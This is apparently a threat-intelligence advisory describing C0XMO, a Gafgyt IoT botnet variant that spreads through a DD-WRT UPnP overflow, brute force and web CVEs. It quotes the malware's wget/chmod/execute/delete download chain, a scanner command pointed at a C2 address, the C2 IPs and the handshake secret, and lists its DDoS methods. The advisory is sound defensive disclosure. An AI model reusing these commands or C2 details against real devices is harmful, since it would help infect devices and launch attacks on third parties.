# Gafgyt Variant C0XMO — Cross-Platform IoT Botnet via DD-WRT UPnP CVE-2021-27137 with Python Lateral-Movement Module

> FortiGuard Labs identified C0XMO, a new Gafgyt botnet variant that propagates across IoT devices by exploiting CVE-2021-27137, a stack buffer overflow in the DD-WRT UPnP/SSDP service triggered by an oversized ST:uuid: value in M-SEARCH requests over UDP/1900. C0XMO uniquely offloads scanning and lateral movement to a standalone Python module, drops multi-architecture ELF payloads, brute-forces Telnet/SSH, exploits multiple secondary web CVEs, establishes persistence, and conducts 19 distinct DDoS attack methods. Active in the wild since March 2026.

- **Published:** 2026-06-04T00:00:00Z
- **Last reviewed:** 2026-06-04T00:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-0679
- **ID:** TL-2026-0679
- **Severity:** HIGH
- **Category:** MALWARE
- **Status:** ACTIVE
- **Detections:** 9 · **IOCs:** 30 (full data via the Threadlinqs MCP server — Purple tier)
- **CVEs:** CVE-2021-27137, CVE-2015-2051, CVE-2022-35914, CVE-2016-15047, CVE-2025-34054

## Description

C0XMO is a modular evolution of the Gafgyt (BASHLITE) IoT botnet family reported by Fortinet FortiGuard Labs on 3 June 2026, with in-the-wild activity dating to March 2026. The campaign was first observed targeting a Japanese technology firm from source infrastructure geolocated in Germany.

Initial access is achieved primarily through CVE-2021-27137, a stack-based buffer overflow in the DD-WRT UPnP/SSDP service (changeset before 45723). The vulnerability is triggered when the SSDP parser mishandles an oversized ST:uuid: value inside a specially crafted M-SEARCH request delivered over UDP port 1900. Successful exploitation yields remote code execution, after which the malware is fetched to /tmp/.cache, made world-executable (chmod 777), run, and deleted to reduce forensic footprint.

The defining innovation of C0XMO is the separation of propagation logic into a standalone Python script (scanner.py) comprising roughly 22 functions across six functional categories: a multi-threaded Worker for scanning and exploitation, a Blacklist module for IP filtering and failed-target tracking, Telnet and SSH weak-credential brute-force modules, an HTTP exploitation module leveraging multiple CVEs, and an ADB (Android Debug Bridge) exploitation module. The script is deployed with arguments such as 'python3 /tmp/scanner.py --rand --rand-ports 23,22,80,443,8080... --runtime X --server 217.160.125.125:15527' and requires the requests, paramiko, and beautifulsoup4 Python packages.

The loader delivers ELF payloads compiled for seven architectures — ARM, MC68000, MIPS R3000, PowerPC, SuperH, Intel 80386, and AMD64 — selecting the appropriate binary after architecture detection to enable broad cross-platform propagation. Post-compromise deployment uses a wget/chmod/execute/cleanup chain (e.g. 'cd /tmp && wget -q http://server/bot.arch -O .cache && chmod 777 .cache && ./.cache && rm -f .cache').

C2 communication is performed against a custom binary protocol. The bot connects to the main C2 at 85.215.131.70 and a distribution/scan server at 217.160.125.125:15527, with 176.100.37.91 as additional infrastructure. The handshake uses a magic string (hex 669787761736865726500), a hard-coded shared secret (FS2@SA__=A23cAxs3S3@23AF@A3454DFSA0D), a 'BOT'->'OK' bot identification exchange, and a final 'FF FF FF FF 75' welcome confirmation.

Persistence is implemented in four stages: path verification via /proc/self/exe; self-copying to /tmp/.sys, /var/tmp/.sys, /dev/shm/.sys and $HOME/.sys with 755 permissions; auto-start via cron ('*/15 * * * *') and shell-profile modification (~/.bashrc, ~/.bash_profile); and a process-revival watchdog that re-executes the binary if terminated. The malware also performs competitor elimination, killing rival botnet processes, network-service applications, programming tools, and red-team utilities, and deleting their binaries and persistence artifacts (cron jobs, rc.local, init.d services, shell profiles).

C0XMO supports 19 DDoS attack methods including UDP/TCP bypass floods, TCP SYN flood, Valve Source Engine flood, Discord voice UDP flood, FiveM game flood, OVH bypass (TCP/UDP), hex-pattern flood, NTP and Memcached amplification, ICMP flood, Ping of Death, and HTTP storm/IO/spoof/GET and Cloudflare-bypass HTTP floods. Operator commands include ping, stop, scan, stopscan, and attack directives.

Beyond Telnet/SSH brute force and the UPnP overflow, the HTTP exploitation module weaponizes several public CVEs: CVE-2015-2051 (D-Link HNAP SOAP command injection), CVE-2022-35914 (GLPI htmLawed RCE), CVE-2016-15047 and CVE-2025-34054 (Avtech DVR authentication bypass / RCE). Targeted service ports span 23, 22, 80, 443, 8080, 5555, 5511, 5554, 4443, 81, 8000, 7547, 8081, 8443, and 8888.

## MITRE ATT&CK

- T1595 Active Scanning
- T1587 Develop Capabilities
- T1190 Exploit Public-Facing Application
- T1133 External Remote Services
- T1110 Brute Force
- T1059 Command and Scripting Interpreter
- T1053 Scheduled Task/Job
- T1546 Event Triggered Execution
- T1078 Valid Accounts
- T1564 Hide Artifacts
- T1070 Indicator Removal
- T1046 Network Service Discovery
- T1057 Process Discovery
- T1210 Exploitation of Remote Services
- T1021 Remote Services
- T1071 Application Layer Protocol
- T1095 Non-Application Layer Protocol
- T1105 Ingress Tool Transfer
- T1498 Network Denial of Service
- T1499 Endpoint Denial of Service

## Sources

- [Inside the Cross-Platform Propagation of a New Gafgyt Variant C0XMO | FortiGuard Labs](https://www.fortinet.com/blog/threat-research/inside-cross-platform-propagation-of-new-gafgyt-variant-c0xmo)
- [DD-WRT.UPNP.CVE-2021-27137.uuid.Buffer.Overflow — FortiGuard IPS Encyclopedia](https://www.fortiguard.com/encyclopedia/ips/56117)
- [CVE-2021-27137 — DD-WRT UPnP stack buffer overflow](https://nvd.nist.gov/vuln/detail/CVE-2021-27137)
- [CVE-2022-35914 — GLPI htmLawed RCE](https://nvd.nist.gov/vuln/detail/CVE-2022-35914)
- [CVE-2015-2051 — D-Link HNAP command injection](https://nvd.nist.gov/vuln/detail/CVE-2015-2051)
- [FortiGuard IPS: D-Link.HNAP (CVE-2015-2051) signature 50772](https://www.fortiguard.com/encyclopedia/ips/50772)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-0679